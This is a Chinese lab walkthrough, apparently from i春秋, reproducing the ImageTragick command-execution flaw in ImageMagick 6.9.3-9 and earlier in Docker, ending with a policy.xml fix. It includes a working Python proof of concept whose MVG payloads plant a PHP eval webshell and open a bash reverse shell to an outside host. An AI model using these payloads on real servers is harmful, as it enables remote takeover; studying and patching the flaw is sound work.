安全-ImageMagick 小于等于6.9.3-9版本 命令执行漏洞复现(i春秋)

Posted 小狐狸FM

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了安全-ImageMagick 小于等于6.9.3-9版本 命令执行漏洞复现(i春秋)相关的知识,希望对你有一定的参考价值。

前言

  • POC即概念验证Proof of Concept,通常是指漏洞验证程序
  • Docker是一个开源的应用容器引擎,开发者可以将应用存储到一个镜像中,类似VMwareVirtualBOX虚拟机的沙箱机制。
  • ImageMagick是一个免费创建、编辑、合成图片的软件,大多数功能使用来源于命令行工具

Docker官网

Docker 百度百科

Docker 教程 | 菜鸟教程

POC测试 百度百科

ImageMagick官网

ImageMagick中文官网

ImageMagick 百度百科

一、实验环境

实验链接

环境版本
操作机Ubuntu 14.04
ImageMagick小于等于6.9.3-9
用户名密码
user123456
Linux命令介绍
docker exec -it [名称/镜像标识号] /bin/bash启用apache服务
docker image查看已有的docker镜像
exit退出目前的shell
ls查看当前路径下的所有文件
service apache2 status查看apache服务运行状态
sudo [用户名]切换到目标用户,需要输入当前用户的密码

二、漏洞复现

[1]. POC

#!/usr/bin/env python
# coding:utf-8

import requests
import base64

target = "http://172.16.11.2:8080/" #目标

def doPost(url, data):
    post_data = {"img": base64.b64encode(data)}
    try:
        requests.post(url + "/poc.php", data=post_data, timeout=1)
    except:
        pass


# 写 webshell
def writeshell(url):
    writeshell = '''push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/1.jpg"|echo \\\\'<?php eval($_POST[\\\\'ant\\\\']);?>\\\\' > shell.php")'
pop graphic-context
'''
    doPost(url, writeshell)
    resp2 = requests.post(url + "/shell.php", data={"ant": "echo md5(123);"})
    if resp2.status_code == 200 and "202cb962ac59075b964b07152d234b70" in resp2.content:
        print "WebShell: " + url + "shell.php"

def reverse_shell(url):    
    reverse_shell = """push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/1.jpg"|bash -i >& /dev/tcp/192.168.1.101/2333 0>&1")'
pop graphic-context"""

    # 反弹 shell
    doPost(url, reverse_shell)

if __name__ == '__main__':
    # 写 webshell
    writeshell(target)
    # 反弹 shell
    # reverse_shell("http://127.0.0.1:8000/")

[2]. 启用docker镜像

使用用户名user密码123456登录

用户user权限等级不够,使用命令docker image查看当前的docker镜像时会报错

用户su拥有超级管理员的权限,切换到用户su,切换时需要输入当前用户的密码

使用docker images查看当前可用的docker镜像
需要用到的docker镜像为cve-2016-3714,它的标识号为3a52e631fa88

参数介绍
REPOSITORY镜像库名
TAG版本
IMAGE ID镜像标识
CREATED上一次创建的时间
VIRTUAL SIZE镜像的大小

  • 运行docker镜像cve-2016-3714,命名为ichunqiu,并将80端口映射到本地的8080端口,
  • 8080:80前者为默认的本地端口(127.0.0.1),后者为镜像的端口
    -p表示port命令,--name表示设置临时名称,-itd表示镜像在后台运行
  • Docker run 命令 | 菜鸟教程
    Docker port 命令 |菜鸟教程

查看apache服务是否启动成功

退出镜像

[3]. POC利用

查看一下当前路径下的文件,poc.py就是我们需要执行的脚本

执行poc.py脚本,返回了一个shell.php的连接路径

[4]. 验证POC有效性

进入docker镜像中,查看shell.php里面的内容为一句话木马,表示POC利用成功

[5]. 修复方案

/etc/ImageMagick/policy.xml中添加如下代码

<policymap>
  <policy domain="coder" rights="none" pattern="EPHEMERAL" />
  <policy domain="coder" rights="none" pattern="URL" />
  <policy domain="coder" rights="none" pattern="HTTPS" />
  <policy domain="coder" rights="none" pattern="MVG" />
  <policy domain="coder" rights="none" pattern="MSL" />
</policymap>

以上是关于安全-ImageMagick 小于等于6.9.3-9版本 命令执行漏洞复现(i春秋)的主要内容,如果未能解决你的问题,请参考以下文章

安全-EmpireCMS 小于等于7.5版本后台XSS漏洞复现

安全-emlog 小于等于5.1.2版本 博客系统后台权限提升漏洞复现(i春秋)

安全-Fastjson 小于等于1.2.24版本代码执行漏洞复现(vulhub)

ImageMagick ghostscript 'delegate' 安全策略阻止转换

请问:等于,不等于,大于,小于,大于等于,小于等于的英文English是啥?

使用 ImageMagick 调整大小,然后从命令行裁剪图像